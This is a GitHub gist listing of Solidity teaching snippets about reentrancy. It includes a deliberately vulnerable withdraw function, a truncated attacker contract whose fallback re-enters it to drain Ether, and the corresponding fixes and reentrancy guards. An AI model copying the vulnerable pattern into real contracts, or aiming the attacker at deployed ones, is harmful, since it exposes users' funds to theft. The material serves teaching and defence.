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nathan-websculpt / SendEther.sol
Created September 16, 2021 12:17
Send Ether via call method
function sendViaCall(address payable _to) public payable {
(bool sent, bytes memory data) = _to.call{value:msg.value}("");
require(sent, "Failed to send Ether");
}
@nathan-websculpt
nathan-websculpt / VulnerableWithdraw.sol
Created September 16, 2021 12:36
function withdrawFromAttackee() public {
uint senderBalance = attackeeBalances[msg.sender];
require(senderBalance > 0);
(bool success, ) = msg.sender.call{ value: senderBalance }("");
require(success, "withdrawFromAttackee failed to send");
attackeeBalances[msg.sender] = 0;
}
@nathan-websculpt
nathan-websculpt / AttackVulnerableWithdraw.sol
Created September 16, 2021 12:46
How to attack the VulnerableWithdraw.sol example
//this is called when Attackee sends Ether to this contract (Attacker)
fallback() external payable {
if(address(contractToAttack).balance >= 1 ether) {
contractToAttack.withdrawFromAttackee();
}
}
function performAttack() external payable {
require(msg.value >= 1 ether);
contractToAttack.depositIntoAttackee{value: 1 ether}();
@nathan-websculpt
nathan-websculpt / ReentrancyAttackExample.sol
Created September 16, 2021 15:11
Attacker.performAttack can drain Attackee in a reentrancy attack that utilizes the Attacker's fallback function
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Attackee {
mapping(address => uint) public attackeeBalances;
function depositIntoAttackee() external payable {
attackeeBalances[msg.sender] += msg.value;
}
@nathan-websculpt
nathan-websculpt / ReentrancyAttackFIX.sol
Created September 17, 2021 14:31
The fix for ReentrancyAttackExample.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Attackee {
mapping(address => uint) public attackeeBalances;
function depositIntoAttackee() external payable {
attackeeBalances[msg.sender] += msg.value;
}
@nathan-websculpt
nathan-websculpt / ReentrancyGuard_simpleExample.sol
Last active September 24, 2021 20:40
This is an example Reentrancy Guard for teaching purposes
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract ReentrancyGuard {
bool private guardLocked;
modifier noReentry() {
require(!guardLocked, "Prevented by noReentry in ReentrancyGuard");
@nathan-websculpt
nathan-websculpt / ReentrancyGuard_BlockedAttack.sol
Created September 22, 2021 15:55
This example shows a simple Reentrancy Guard in action. Even though the balance is not zero-ed out until after the call, this reentrancy guard stops the attacker's receive() from completing the attack. For learning purposes only.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract ReentrancyGuard {
bool private guardLocked;
modifier noReentry() {
require(!guardLocked, "Prevented by noReentry in ReentrancyGuard");
@nathan-websculpt
nathan-websculpt / OpenZeppelin_ReentrancyGuard.sol
Created September 22, 2021 18:03
Here is an example of the OpenZeppelin Reentrancy Guard in use
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/security/ReentrancyGuard.sol";
contract Attackee is ReentrancyGuard {
mapping(address => uint) public attackeeBalances;
function depositIntoAttackee() external payable {
@nathan-websculpt
nathan-websculpt / EscrowExample.sol
Created September 24, 2021 19:42
Example usage of Escrow -- not production-ready -- for learning purposes only
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/security/ReentrancyGuard.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/utils/escrow/Escrow.sol";
contract EscrowExample is ReentrancyGuard {
Escrow private immutable _escrow;
@nathan-websculpt
nathan-websculpt / StringTesting.sol
Created September 27, 2021 17:34
Compare and Concat strings in solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract StringTesting {
function stringCompare(string calldata _inputOne, string calldata _inputTwo) external pure returns (bool r) {
bool rslt;